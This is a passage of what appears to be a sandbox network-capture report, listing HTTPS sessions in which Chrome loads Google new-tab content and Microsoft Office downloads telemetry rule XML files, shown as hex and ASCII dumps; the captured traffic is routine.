2024-12-06 17:45:24 UTC	1390	IN	Data Raw: 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 Data Ascii: .querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"
2024-12-06 17:45:24 UTC	424	IN	Data Raw: 75 72 6e 20 5f 2e 6f 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b Data Ascii: urn _.oe(document,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49727	172.217.21.36	443	6096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:23 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 17:45:24 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 06 Dec 2024 17:45:23 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 17:45:24 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-06 17:45:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:24 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174524Z-r1cf579d778dc6d7hC1EWR2vs800000000n0000000003c51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:24 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4628c04c-d01e-0017-18cc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174524Z-1746fd949bdb8xvchC1EWRmbd400000004hg0000000055uu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:24 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: c2908fd4-501e-00a0-4ac8-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174524Z-1746fd949bd2cq7chC1EWRnx9g0000000490000000000mwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:24 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174524Z-r1cf579d778dc6d7hC1EWR2vs800000000hg000000003c9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 4a622c55-e01e-0099-7fc1-45da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174524Z-1746fd949bdlnsqphC1EWRurw000000004ag00000000r559 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:24 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:26 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:27 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:26 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174526Z-r1cf579d778t5c2lhC1EWRce3w00000000hg000000004g01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-06 17:45:27 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: c2a94a43-501e-00a0-7dd0-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174526Z-1746fd949bd6zq92hC1EWRry4800000004e000000000q04w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2b878731-501e-008c-34ce-45cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174526Z-1746fd949bdw2rg8hC1EWR11u400000004s000000000p58c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:26 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6818e2c2-d01e-0065-16d2-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174527Z-1746fd949bdwt8wrhC1EWRu6rg00000004n000000000qvfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 6223bc78-401e-0015-38b6-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174526Z-1746fd949bdmv56chC1EWRypnn00000004m000000000ty12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 